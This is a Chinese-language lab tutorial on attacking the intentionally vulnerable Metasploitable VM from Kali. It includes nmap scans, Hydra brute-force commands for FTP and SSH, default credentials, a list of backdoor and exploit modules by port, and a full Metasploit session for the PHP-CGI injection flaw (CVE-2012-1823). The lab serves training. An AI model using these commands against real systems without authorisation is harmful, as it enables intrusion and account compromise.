# Kali渗透测试演练Metasploitable靶机

## 准备工作：

* VM虚拟机（http://www.vmware.com/cn.html）
* Kali（https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/）
* Metasploitable靶机（https://sourceforge.net/projects/metasploitable/）
* 要求Kali和靶机在同一个Lan段

在开始工作前都确认一一下是否在同一个Lan段，分别登录Kali和靶机使用ifconfig 命令查看

注意：Metasploitable的默认账号、密码是：msfadmin:msfadmin，Kali的默认是root:toor


第一阶段：扫描阶段，工具 namp

命令：隐蔽扫描：nmap -sS 192.168.209.138


端口爆破：FTP、SSH等

工具：Hydra

备用字典：

* 爆破FTP

hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt ftp://192.168.209.138

* 爆破ssh

hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.209.138 ssh

通过23端口telnet登录进系统



下面进行演示常见端口的测试：

注：因为漏洞的利用需要使用Metasploit

因此我们需要先启动他，在此稍作说明，免得有些小白想玩的说下面的命令怎么没反应-\_-|| ,Metasploit 使用PostgreSQL作为数据库，所以必须先运行它,使用如下命令运行：

service postgresql start

可以用 ss -ant 的输出来检验PostgreSQL是否在运行，然后确认5432端口处于listening状态

启动Kali的Metasploit服务：随着PostgreSQL的启动和运行，接着我们要运行Metasploit服务。第一次运行服务会创建一个msf3数据库用户和一个叫msf3的数据库。还会运行Metasploit RPC和它需要的WEB 服务端

在Kali运行msfconsole：现在PostgreSQL 和 Metasploit服务都运行了，可以运行 msfconsole，然后用 db\_status 命令检验数据库的连通性。

直接使用msfconsole 来运行它：

就等待Metasploit 框架运行吧。

它会显示有多少个exp、payload等

* 6667——-irc\_3281\_backdoor

成功获取会话，root权限

* 6200——-vsftpd\_234\_backdoor

反弹会话，root权限

* 1524——-ingrelock\_backdoor

利用telnet连接1524，直接返回root会话

* 1099——-distcc程序漏洞—-ingrelock

返回会话

* 139——-samba为3.0漏洞

先用nmap进行详细扫描，nmap -v -A -T4 192.168.209.138

Samba 3.0.20，利用metasploit

* 8180——-Apache Tomcat弱口令

使用use auxiliary/scanner/http/tomcat\_mgr\_login进行账户爆破，用默认自带的字典即可

* 80——-PHP CGI参数注入执行漏洞

msf > search cve:2012-1823

msf > use exploit/multi/http/php\_cgi\_arg\_injection

msf exploit(php\_cgi\_arg\_injection) > show options

msf exploit(php\_cgi\_arg\_injection) > set rhost 192.168.209.138

rhost => 192.168.209.138

msf exploit(php\_cgi\_arg\_injection) > run



